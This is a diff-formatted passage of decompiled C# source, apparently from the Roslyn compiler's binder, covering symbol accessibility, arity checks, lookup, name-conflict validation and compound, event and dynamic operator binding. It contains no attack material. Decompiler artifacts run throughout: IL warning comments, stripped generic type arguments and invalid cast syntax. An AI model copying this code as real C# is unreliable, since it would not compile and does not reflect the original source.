basesBeingResolved); + } + + internal bool IsAccessible(Symbol symbol, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + bool result = IsAccessible(symbol, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(syntax, useSiteInfo); + return result; + } + + internal bool IsAccessible(Symbol symbol, TypeSymbol accessThroughType, out bool failedThroughTypeCheck, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved = null) + { + if (Flags.Includes(BinderFlags.IgnoreAccessibility)) + { + failedThroughTypeCheck = false; + return true; + } + return IsAccessibleHelper(symbol, accessThroughType, out failedThroughTypeCheck, ref useSiteInfo, basesBeingResolved); + } + + internal virtual bool IsAccessibleHelper(Symbol symbol, TypeSymbol accessThroughType, out bool failedThroughTypeCheck, ref CompoundUseSiteInfo useSiteInfo, ConsList basesBeingResolved) + { + return Next.IsAccessibleHelper(symbol, accessThroughType, out failedThroughTypeCheck, ref useSiteInfo, basesBeingResolved); + } + + internal bool IsNonInvocableMember(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Expected I4, but got Unknown + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + switch (kind - 5) + { + default: + if ((int)kind != 15) + { + break; + } + goto case 0; + case 0: + case 1: + case 4: + case 6: + return !IsInvocableMember(symbol); + case 2: + case 3: + case 5: + break; + } + return false; + } + + private bool IsInvocableMember(Symbol symbol) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected I4, but got Unknown + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Invalid comparison between Unknown and I4 + TypeSymbol typeSymbol = null; + SymbolKind kind = symbol.Kind; + switch (kind - 5) + { + default: + if ((int)kind == 15) + { + typeSymbol = ((PropertySymbol)symbol).Type; + } + break; + case 0: + case 4: + return true; + case 1: + typeSymbol = ((FieldSymbol)symbol).GetFieldType(FieldsBeingBound).Type; + break; + case 2: + case 3: + break; + } + if ((object)typeSymbol != null) + { + if (!typeSymbol.IsDelegateType() && !typeSymbol.IsDynamic()) + { + return typeSymbol.IsFunctionPointer(); + } + return true; + } + return false; + } + + private static bool IsInstance(Symbol symbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Invalid comparison between Unknown and I4 + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Invalid comparison between Unknown and I4 + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Invalid comparison between Unknown and I4 + SymbolKind kind = symbol.Kind; + if (kind - 5 <= 1 || (int)kind == 9 || (int)kind == 15) + { + return symbol.RequiresInstanceReceiver(); + } + return false; + } + + private static bool WrongArity(Symbol symbol, int arity, bool diagnose, LookupOptions options, out DiagnosticInfo diagInfo) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Invalid comparison between Unknown and I4 + //IL_0168: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = symbol.Kind; + if ((int)kind != 9) + { + if ((int)kind == 11) + { + if (arity != 0 || (options & LookupOptions.AllNamedTypesOnArityZero) == 0) + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)symbol; + if (namedTypeSymbol.Arity != arity) + { + if (namedTypeSymbol.Arity == 0) + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_HasNoTypeVars, namedTypeSymbol, MessageID.IDS_SK_TYPE.Localize()) : null); + } + else + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_BadArity, namedTypeSymbol, MessageID.IDS_SK_TYPE.Localize(), namedTypeSymbol.Arity) : null); + } + return true; + } + } + } + else if (arity != 0) + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_TypeArgsNotAllowed, symbol, symbol.Kind.Localize()) : null); + return true; + } + } + else if (arity != 0 || (options & LookupOptions.AllMethodsOnArityZero) == 0) + { + MethodSymbol methodSymbol = (MethodSymbol)symbol; + if (methodSymbol.Arity != arity) + { + if (methodSymbol.Arity == 0) + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_HasNoTypeVars, methodSymbol, MessageID.IDS_SK_METHOD.Localize()) : null); + } + else + { + diagInfo = (DiagnosticInfo)(object)(diagnose ? new CSDiagnosticInfo(ErrorCode.ERR_BadArity, methodSymbol, MessageID.IDS_SK_METHOD.Localize(), methodSymbol.Arity) : null); + } + return true; + } + } + diagInfo = null; + return false; + } + + internal void AddLookupSymbolsInfo(LookupSymbolsInfo result, LookupOptions options = LookupOptions.Default) + { + Binder binder = this; + while (binder != null) + { + binder.AddLookupSymbolsInfoInSingleBinder(result, options, this); + if ((options & LookupOptions.LabelsOnly) == 0 || !binder.IsLastBinderWithinMember()) + { + binder = binder.Next; + continue; + } + break; + } + } + + internal virtual void AddLookupSymbolsInfoInSingleBinder(LookupSymbolsInfo info, LookupOptions options, Binder originalBinder) + { + } + + internal void AddMemberLookupSymbolsInfo(LookupSymbolsInfo result, NamespaceOrTypeSymbol nsOrType, LookupOptions options, Binder originalBinder) + { + if (nsOrType.IsNamespace) + { + AddMemberLookupSymbolsInfoInNamespace(result, (NamespaceSymbol)nsOrType, options, originalBinder); + } + else + { + AddMemberLookupSymbolsInfoInType(result, (TypeSymbol)nsOrType, options, originalBinder); + } + } + + private void AddMemberLookupSymbolsInfoInType(LookupSymbolsInfo result, TypeSymbol type, LookupOptions options, Binder originalBinder) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Expected I4, but got Unknown + TypeKind typeKind = type.TypeKind; + switch (typeKind - 1) + { + case 10: + AddMemberLookupSymbolsInfoInTypeParameter(result, (TypeParameterSymbol)type, options, originalBinder); + break; + case 6: + AddMemberLookupSymbolsInfoInInterface(result, type, options, originalBinder, type); + break; + case 0: + case 1: + case 2: + case 3: + case 4: + case 9: + case 11: + AddMemberLookupSymbolsInfoInClass(result, type, options, originalBinder, type); + break; + case 5: + case 7: + case 8: + break; + } + } + + protected void AddMemberLookupSymbolsInfoInSubmissions(LookupSymbolsInfo result, TypeSymbol scriptClass, bool inUsings, LookupOptions options, Binder originalBinder) + { + for (CSharpCompilation cSharpCompilation = Compilation; cSharpCompilation != null; cSharpCompilation = cSharpCompilation.PreviousSubmission) + { + if ((object)cSharpCompilation.ScriptClass != null) + { + AddMemberLookupSymbolsInfoWithoutInheritance(result, cSharpCompilation.ScriptClass, options, originalBinder, scriptClass); + } + bool flag = cSharpCompilation == Compilation; + if ((options & LookupOptions.LabelsOnly) == 0 && !(flag && inUsings)) + { + Imports imports = cSharpCompilation.GetSubmissionImports(); + if (!flag) + { + imports = Imports.ExpandPreviousSubmissionImports(imports, Compilation); + } + AddLookupSymbolsInfoInAliases(imports.UsingAliases, imports.ExternAliases, result, options, originalBinder); + } + } + } + + protected void AddLookupSymbolsInfoInAliases(ImmutableDictionary usingAliases, ImmutableArray externAliases, LookupSymbolsInfo result, LookupOptions options, Binder originalBinder) + { + if ((options & LookupOptions.LabelsOnly) != LookupOptions.Default) + { + return; + } + foreach (KeyValuePair usingAlias in usingAliases) + { + addAliasSymbolToResult(result, usingAlias.Value.Alias, options, originalBinder); + } + ImmutableArray.Enumerator enumerator2 = externAliases.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AliasAndExternAliasDirective current = enumerator2.Current; + if (!current.SkipInLookup) + { + addAliasSymbolToResult(result, current.Alias, options, originalBinder); + } + } + static void addAliasSymbolToResult(LookupSymbolsInfo lookupSymbolsInfo, AliasSymbol aliasSymbol, LookupOptions options2, Binder binder) + { + NamespaceOrTypeSymbol aliasTarget = aliasSymbol.GetAliasTarget(null); + if (binder.CanAddLookupSymbolInfo(aliasTarget, options2, lookupSymbolsInfo, null, aliasSymbol)) + { + ((AbstractLookupSymbolsInfo)lookupSymbolsInfo).AddSymbol((Symbol)aliasSymbol, aliasSymbol.Name, 0); + } + } + } + + private static void AddMemberLookupSymbolsInfoInNamespace(LookupSymbolsInfo result, NamespaceSymbol ns, LookupOptions options, Binder originalBinder) + { + ImmutableArray.Enumerator enumerator = ((((AbstractLookupSymbolsInfo)result).FilterName != null) ? GetCandidateMembers(ns, ((AbstractLookupSymbolsInfo)result).FilterName, options, originalBinder) : GetCandidateMembers(ns, options, originalBinder)).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (originalBinder.CanAddLookupSymbolInfo(current, options, result, null)) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol(current, current.Name, current.GetArity()); + } + } + } + + private static void AddMemberLookupSymbolsInfoWithoutInheritance(LookupSymbolsInfo result, TypeSymbol type, LookupOptions options, Binder originalBinder, TypeSymbol accessThroughType) + { + ImmutableArray.Enumerator enumerator = ((((AbstractLookupSymbolsInfo)result).FilterName != null) ? GetCandidateMembers(type, ((AbstractLookupSymbolsInfo)result).FilterName, options, originalBinder) : GetCandidateMembers(type, options, originalBinder)).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (originalBinder.CanAddLookupSymbolInfo(current, options, result, accessThroughType)) + { + ((AbstractLookupSymbolsInfo)result).AddSymbol(current, current.Name, current.GetArity()); + } + } + } + + private void AddWinRTMembersLookupSymbolsInfo(LookupSymbolsInfo result, NamedTypeSymbol type, LookupOptions options, Binder originalBinder, TypeSymbol accessThroughType) + { + GetWellKnownWinRTMemberInterfaces(out var idictSymbol, out var iroDictSymbol, out var iListSymbol, out var iCollectionSymbol, out var inccSymbol, out var inpcSymbol); + ImmutableArray.Enumerator enumerator = type.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (ShouldAddWinRTMembersForInterface(current, idictSymbol, iroDictSymbol, iListSymbol, iCollectionSymbol, inccSymbol, inpcSymbol)) + { + AddMemberLookupSymbolsInfoWithoutInheritance(result, current, options, originalBinder, accessThroughType); + } + } + } + + private void AddMemberLookupSymbolsInfoInClass(LookupSymbolsInfo result, TypeSymbol type, LookupOptions options, Binder originalBinder, TypeSymbol accessThroughType) + { + PooledHashSet visited = null; + while ((object)type != null && !type.IsVoidType()) + { + AddMemberLookupSymbolsInfoWithoutInheritance(result, type, options, originalBinder, accessThroughType); + if (type is NamedTypeSymbol { ShouldAddWinRTMembers: not false } namedTypeSymbol) + { + AddWinRTMembersLookupSymbolsInfo(result, namedTypeSymbol, options, originalBinder, accessThroughType); + } + if (originalBinder.InCrefButNotParameterOrReturnType) + { + break; + } + type = type.GetNextBaseTypeNoUseSiteDiagnostics(null, Compilation, ref visited); + } + visited?.Free(); + } + + private void AddMemberLookupSymbolsInfoInInterface(LookupSymbolsInfo result, TypeSymbol type, LookupOptions options, Binder originalBinder, TypeSymbol accessThroughType) + { + AddMemberLookupSymbolsInfoWithoutInheritance(result, type, options, originalBinder, accessThroughType); + if (!originalBinder.InCrefButNotParameterOrReturnType) + { + ImmutableArray.Enumerator enumerator = type.AllInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + AddMemberLookupSymbolsInfoWithoutInheritance(result, current, options, originalBinder, accessThroughType); + } + AddMemberLookupSymbolsInfoInClass(result, Compilation.GetSpecialType((SpecialType)1), options, originalBinder, accessThroughType); + } + } + + private void AddMemberLookupSymbolsInfoInTypeParameter(LookupSymbolsInfo result, TypeParameterSymbol type, LookupOptions options, Binder originalBinder) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)type.TypeParameterKind != 2) + { + NamedTypeSymbol effectiveBaseClassNoUseSiteDiagnostics = type.EffectiveBaseClassNoUseSiteDiagnostics; + AddMemberLookupSymbolsInfoInClass(result, effectiveBaseClassNoUseSiteDiagnostics, options, originalBinder, effectiveBaseClassNoUseSiteDiagnostics); + ImmutableArray.Enumerator enumerator = type.AllEffectiveInterfacesNoUseSiteDiagnostics.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + AddMemberLookupSymbolsInfoWithoutInheritance(result, current, options, originalBinder, type); + } + } + } + + private bool ValidateLambdaParameterNameConflictsInScope(Location location, string name, BindingDiagnosticBag diagnostics) + { + return ValidateNameConflictsInScope(null, location, name, diagnostics); + } + + internal bool ValidateDeclarationNameConflictsInScope(Symbol symbol, BindingDiagnosticBag diagnostics) + { + Location location = GetLocation(symbol); + return ValidateNameConflictsInScope(symbol, location, symbol.Name, diagnostics); + } + + private static Location GetLocation(Symbol symbol) + { + return symbol.TryGetFirstLocation() ?? symbol.ContainingSymbol.GetFirstLocation(); + } + + internal void ValidateParameterNameConflicts(ImmutableArray typeParameters, ImmutableArray parameters, bool allowShadowingNames, BindingDiagnosticBag diagnostics) + { + PooledHashSet val = null; + if (!typeParameters.IsDefaultOrEmpty) + { + val = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator = typeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + string name = current.Name; + if (!string.IsNullOrEmpty(name) && ((HashSet)(object)val).Add(name) && !allowShadowingNames) + { + ValidateDeclarationNameConflictsInScope(current, diagnostics); + } + } + } + PooledHashSet val2 = null; + if (!parameters.IsDefaultOrEmpty) + { + val2 = PooledHashSet.GetInstance(); + ImmutableArray.Enumerator enumerator2 = parameters.GetEnumerator(); + while (enumerator2.MoveNext()) + { + ParameterSymbol current2 = enumerator2.Current; + string name2 = current2.Name; + if (!string.IsNullOrEmpty(name2)) + { + if (val != null && ((HashSet)(object)val).Contains(name2)) + { + diagnostics.Add(ErrorCode.ERR_LocalSameNameAsTypeParam, GetLocation(current2), name2); + } + if (!((HashSet)(object)val2).Add(name2)) + { + diagnostics.Add(ErrorCode.ERR_DuplicateParamName, GetLocation(current2), name2); + } + else if (!allowShadowingNames) + { + ValidateDeclarationNameConflictsInScope(current2, diagnostics); + } + } + } + } + val?.Free(); + val2?.Free(); + } + + private bool ValidateNameConflictsInScope(Symbol? symbol, Location location, string name, BindingDiagnosticBag diagnostics) + { + if (string.IsNullOrEmpty(name)) + { + return false; + } + bool flag = Compilation.IsFeatureEnabled(MessageID.IDS_FeatureNameShadowingInNestedFunctions); + for (Binder binder = this; binder != null; binder = binder.Next) + { + if (binder is InContainerBinder) + { + return false; + } + LocalScopeBinder obj = binder as LocalScopeBinder; + if (obj != null && obj.EnsureSingleDefinition(symbol, name, location, diagnostics)) + { + return true; + } + if (flag && binder.IsNestedFunctionBinder) + { + return false; + } + if (binder.IsLastBinderWithinMember()) + { + return false; + } + } + return false; + } + + private bool IsLastBinderWithinMember() + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Invalid comparison between Unknown and I4 + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Invalid comparison between Unknown and I4 + Symbol containingMemberOrLambda = ContainingMemberOrLambda; + SymbolKind? val = containingMemberOrLambda?.Kind; + if (val.HasValue) + { + SymbolKind valueOrDefault = val.GetValueOrDefault(); + if (valueOrDefault - 11 > 1) + { + Symbol containingSymbol = containingMemberOrLambda.ContainingSymbol; + if ((object)containingSymbol != null && (int)containingSymbol.Kind == 11) + { + return Next?.ContainingMemberOrLambda != containingMemberOrLambda; + } + return false; + } + } + return true; + } + + private BoundExpression BindCompoundAssignment(AssignmentExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_0210: Unknown result type (might be due to invalid IL or missing references) + //IL_0215: Unknown result type (might be due to invalid IL or missing references) + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + //IL_0478: Unknown result type (might be due to invalid IL or missing references) + node.Left.CheckDeconstructionCompatibleArgument(diagnostics); + BoundExpression boundExpression = BindValue(node.Left, diagnostics, GetBinaryAssignmentKind(node.Kind())); + ReportSuppressionIfNeeded(boundExpression, diagnostics); + BoundExpression boundExpression2 = BindValue(node.Right, diagnostics, BindValueKind.RValue); + BinaryOperatorKind binaryOperatorKind = SyntaxKindToBinaryOperatorKind(node.Kind()); + if (boundExpression.Kind == BoundKind.EventAccess) + { + BinaryOperatorKind binaryOperatorKind2 = binaryOperatorKind.Operator(); + if (binaryOperatorKind2 == BinaryOperatorKind.Addition || binaryOperatorKind2 == BinaryOperatorKind.Subtraction) + { + return BindEventAssignment(node, (BoundEventAccess)boundExpression, boundExpression2, binaryOperatorKind2, diagnostics); + } + } + if (boundExpression.HasAnyErrors || boundExpression2.HasAnyErrors) + { + boundExpression = BindToTypeForErrorRecovery(boundExpression); + boundExpression2 = BindToTypeForErrorRecovery(boundExpression2); + return new BoundCompoundAssignmentOperator((SyntaxNode)(object)node, BinaryOperatorSignature.Error, boundExpression, boundExpression2, null, null, null, null, LookupResultKind.Empty, CreateErrorType(), hasErrors: true); + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if (boundExpression.HasDynamicType() || boundExpression2.HasDynamicType()) + { + if (IsLegalDynamicOperand(boundExpression2) && IsLegalDynamicOperand(boundExpression) && binaryOperatorKind != BinaryOperatorKind.UnsignedRightShift) + { + boundExpression = BindToNaturalType(boundExpression, diagnostics); + boundExpression2 = BindToNaturalType(boundExpression2, diagnostics); + BoundValuePlaceholder boundValuePlaceholder = new BoundValuePlaceholder(boundExpression2.Syntax, boundExpression.HasDynamicType() ? boundExpression.Type : boundExpression2.Type).MakeCompilerGenerated(); + Conversion conversion = Compilation.Conversions.ClassifyConversionFromExpression(boundValuePlaceholder, boundExpression.Type, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + BoundConversion boundConversion = (BoundConversion)CreateConversion((SyntaxNode)(object)node, boundValuePlaceholder, conversion, isCast: true, null, boundExpression.Type, diagnostics); + boundConversion = boundConversion.Update(boundConversion.Operand, boundConversion.Conversion, boundConversion.IsBaseConversion, boundConversion.Checked, explicitCastInCode: true, boundConversion.ConstantValueOpt, boundConversion.ConversionGroupOpt, boundConversion.Type); + return new BoundCompoundAssignmentOperator((SyntaxNode)(object)node, new BinaryOperatorSignature(binaryOperatorKind.WithType(BinaryOperatorKind.Dynamic).WithOverflowChecksIfApplicable(CheckOverflowAtRuntime), boundExpression.Type, boundExpression2.Type, Compilation.DynamicType), boundExpression, boundExpression2, null, null, boundValuePlaceholder, boundConversion, LookupResultKind.Viable, boundExpression.Type); + } + object[] array = new object[3]; + SyntaxToken operatorToken = node.OperatorToken; + array[0] = ((SyntaxToken)(ref operatorToken)).Text; + array[1] = boundExpression.Display; + array[2] = boundExpression2.Display; + Error(diagnostics, ErrorCode.ERR_BadBinaryOps, (CSharpSyntaxNode)node, array); + boundExpression = BindToTypeForErrorRecovery(boundExpression); + boundExpression2 = BindToTypeForErrorRecovery(boundExpression2); + return new BoundCompoundAssignmentOperator((SyntaxNode)(object)node, BinaryOperatorSignature.Error, boundExpression, boundExpression2, null, null, null, null, LookupResultKind.Empty, CreateErrorType(), hasErrors: true); + } + if (boundExpression.Kind == BoundKind.EventAccess && !CheckEventValueKind((BoundEventAccess)boundExpression, BindValueKind.Assignable, diagnostics)) + { + boundExpression = BindToTypeForErrorRecovery(boundExpression); + boundExpression2 = BindToTypeForErrorRecovery(boundExpression2); + return new BoundCompoundAssignmentOperator((SyntaxNode)(object)node, BinaryOperatorSignature.Error, boundExpression, boundExpression2, null, null, null, null, LookupResultKind.NotAVariable, CreateErrorType(), hasErrors: true); + } + LookupResultKind resultKind; + ImmutableArray originalUserDefinedOperators; + BinaryOperatorAnalysisResult binaryOperatorAnalysisResult = BinaryOperatorOverloadResolution(binaryOperatorKind, CheckOverflowAtRuntime, boundExpression, boundExpression2, node, diagnostics, out resultKind, out originalUserDefinedOperators); + if (!binaryOperatorAnalysisResult.HasValue) + { + ReportAssignmentOperatorError(node, binaryOperatorKind, diagnostics, boundExpression, boundExpression2, resultKind); + boundExpression = BindToTypeForErrorRecovery(boundExpression); + boundExpression2 = BindToTypeForErrorRecovery(boundExpression2); + return new BoundCompoundAssignmentOperator((SyntaxNode)(object)node, BinaryOperatorSignature.Error, boundExpression, boundExpression2, null, null, null, null, resultKind, originalUserDefinedOperators, CreateErrorType(), hasErrors: true); + } + bool flag = false; + BinaryOperatorSignature binaryOperatorSignature = binaryOperatorAnalysisResult.Signature; + CheckNativeIntegerFeatureAvailability(binaryOperatorSignature.Kind, (SyntaxNode)(object)node, diagnostics); + CheckConstraintLanguageVersionAndRuntimeSupportForOperator((SyntaxNode)(object)node, binaryOperatorSignature.Method, binaryOperatorSignature.Kind.Operator() == BinaryOperatorKind.UnsignedRightShift, binaryOperatorSignature.ConstrainedToTypeOpt, diagnostics); + if (CheckOverflowAtRuntime) + { + binaryOperatorSignature = new BinaryOperatorSignature(binaryOperatorSignature.Kind.WithOverflowChecksIfApplicable(CheckOverflowAtRuntime), binaryOperatorSignature.LeftType, binaryOperatorSignature.RightType, binaryOperatorSignature.ReturnType, binaryOperatorSignature.Method, binaryOperatorSignature.ConstrainedToTypeOpt); + } + BoundExpression right = CreateConversion(boundExpression2, binaryOperatorAnalysisResult.RightConversion, binaryOperatorSignature.RightType, diagnostics); + bool flag2 = !binaryOperatorSignature.Kind.IsUserDefined(); + TypeSymbol type = boundExpression.Type; + BoundValuePlaceholder boundValuePlaceholder2 = new BoundValuePlaceholder((SyntaxNode)(object)node, binaryOperatorSignature.ReturnType); + BoundExpression boundExpression3 = GenerateConversionForAssignment(type, boundValuePlaceholder2, diagnostics, (ConversionForAssignmentFlags)(8 | (flag2 ? 16 : 0))); + if (boundExpression3.HasErrors) + { + flag = true; + } + if (!(boundExpression3 is BoundConversion { Conversion: var conversion2 })) + { + if (boundExpression3 != boundValuePlaceholder2) + { + boundValuePlaceholder2 = null; + boundExpression3 = null; + } + } + else if (conversion2.IsExplicit && flag2 && !binaryOperatorKind.IsShift()) + { + Conversion conversion3 = Conversions.ClassifyConversionFromExpression(boundExpression2, type, CheckOverflowAtRuntime, ref useSiteInfo); + if (!conversion3.IsImplicit || !conversion3.IsValid) + { + flag = true; + GenerateImplicitConversionError(diagnostics, (SyntaxNode)(object)node, conversion3, boundExpression2, type); + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + if (!flag && type.IsVoidPointer()) + { + Error(diagnostics, ErrorCode.ERR_VoidError, (CSharpSyntaxNode)node); + flag = true; + } + BoundValuePlaceholder boundValuePlaceholder3 = new BoundValuePlaceholder(boundExpression.Syntax, type).MakeCompilerGenerated(); + BoundExpression leftConversion = CreateConversion((SyntaxNode)(object)node, boundValuePlaceholder3, binaryOperatorAnalysisResult.LeftConversion, isCast: false, null, binaryOperatorAnalysisResult.Signature.LeftType, diagnostics); + return new BoundCompoundAssignmentOperator((SyntaxNode)(object)node, binaryOperatorSignature, boundExpression, right, boundValuePlaceholder3, leftConversion, boundValuePlaceholder2, boundExpression3, resultKind, originalUserDefinedOperators, type, flag); + } + + private BoundExpression BindEventAssignment(AssignmentExpressionSyntax node, BoundEventAccess left, BoundExpression right, BinaryOperatorKind opKind, BindingDiagnosticBag diagnostics) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0158: Unknown result type (might be due to invalid IL or missing references) + bool hasErrors = false; + EventSymbol eventSymbol = left.EventSymbol; + BoundExpression receiverOpt = left.ReceiverOpt; + TypeSymbol type = left.Type; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyConversionFromExpression(right, type, CheckOverflowAtRuntime, ref useSiteInfo); + if (!conversion.IsImplicit || !conversion.IsValid) + { + hasErrors = true; + if (type.IsDelegateType()) + { + GenerateImplicitConversionError(diagnostics, (SyntaxNode)(object)node, conversion, right, type); + } + } + BoundExpression argument = CreateConversion(right, conversion, type, diagnostics); + bool flag = opKind == BinaryOperatorKind.Addition; + MethodSymbol methodSymbol = (flag ? eventSymbol.AddMethod : eventSymbol.RemoveMethod); + TypeSymbol type2; + if ((object)methodSymbol == null) + { + type2 = GetSpecialType((SpecialType)6, diagnostics, (SyntaxNode)(object)node); + if (!eventSymbol.OriginalDefinition.IsFromCompilation(Compilation)) + { + Error(diagnostics, ErrorCode.ERR_MissingPredefinedMember, (CSharpSyntaxNode)node, new object[2] + { + type, + SourceEventSymbol.GetAccessorName(eventSymbol.Name, flag) + }); + } + } + else + { + CheckImplicitThisCopyInReadOnlyMember(receiverOpt, methodSymbol, diagnostics); + if (!IsAccessible(methodSymbol, ref useSiteInfo, GetAccessThroughType(receiverOpt))) + { + Error(diagnostics, ErrorCode.ERR_BadAccess, (CSharpSyntaxNode)node, new object[1] { methodSymbol }); + hasErrors = true; + } + else if (IsBadBaseAccess((SyntaxNode)(object)node, receiverOpt, methodSymbol, diagnostics, eventSymbol)) + { + hasErrors = true; + } + else + { + CheckReceiverAndRuntimeSupportForSymbolAccess((SyntaxNode)(object)node, receiverOpt, methodSymbol, diagnostics); + } + type2 = ((!eventSymbol.IsWindowsRuntimeEvent) ? methodSymbol.ReturnType : GetSpecialType((SpecialType)6, diagnostics, (SyntaxNode)(object)node)); + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)node, useSiteInfo); + return new BoundEventAssignmentOperator((SyntaxNode)(object)node, eventSymbol, flag, right.HasDynamicType(), receiverOpt, argument, type2, hasErrors); + } + + private static bool IsLegalDynamicOperand(BoundExpression operand) + { + TypeSymbol type = operand.Type; + if ((object)type == null) + { + return operand.IsLiteralNull(); + } + if (!type.IsPointerOrFunctionPointer() && !type.IsRestrictedType()) + { + return !type.IsVoidType(); + } + return false; + } + + private BoundExpression BindDynamicBinaryOperator(BinaryExpressionSyntax node, BinaryOperatorKind kind, BoundExpression left, BoundExpression right, BindingDiagnosticBag diagnostics) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + bool flag2 = IsLegalDynamicOperand(left); + bool flag3 = IsLegalDynamicOperand(right); + if (!flag2 || !flag3 || kind == BinaryOperatorKind.UnsignedRightShift) + { + object[] array = new object[3]; + SyntaxToken operatorToken = node.OperatorToken; + array[0] = ((SyntaxToken)(ref operatorToken)).Text; + array[1] = left.Display; + array[2] = right.Display; + Error(diagnostics, ErrorCode.ERR_BadBinaryOps, (CSharpSyntaxNode)node, array); + flag = true; + } + MethodSymbol userDefinedOperator = null; + if (kind.IsLogical() && flag2) + { + if (!IsValidDynamicCondition(left, kind == BinaryOperatorKind.LogicalAnd, diagnostics, out userDefinedOperator)) + { + Error(diagnostics, ErrorCode.ERR_InvalidDynamicCondition, (CSharpSyntaxNode)node.Left, new object[2] + { + left.Type, + (kind == BinaryOperatorKind.LogicalAnd) ? "false" : "true" + }); + flag = true; + } + else + { + CheckConstraintLanguageVersionAndRuntimeSupportForOperator((SyntaxNode)(object)node, userDefinedOperator, isUnsignedRightShift: false, null, diagnostics); + } + } + return new BoundBinaryOperator((SyntaxNode)(object)node, (flag ? kind : kind.WithType(BinaryOperatorKind.Dynamic)).WithOverflowChecksIfApplicable(CheckOverflowAtRuntime), null, left: BindToNaturalType(left, diagnostics), right: BindToNaturalType(right, diagnostics), methodOpt: userDefinedOperator, constrainedToTypeOpt: null, resultKind: LookupResultKind.Viable, type: Compilation.DynamicType, hasErrors: flag); + } + + protected static bool IsSimpleBinaryOperator(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.AddExpression: + case SyntaxKind.SubtractExpression: + case SyntaxKind.MultiplyExpression: + case SyntaxKind.DivideExpression: + case SyntaxKind.ModuloExpression: + case SyntaxKind.LeftShiftExpression: + case SyntaxKind.RightShiftExpression: + case SyntaxKind.BitwiseOrExpression: + case SyntaxKind.BitwiseAndExpression: + case SyntaxKind.ExclusiveOrExpression: + case SyntaxKind.EqualsExpression: + case SyntaxKind.NotEqualsExpression: + case 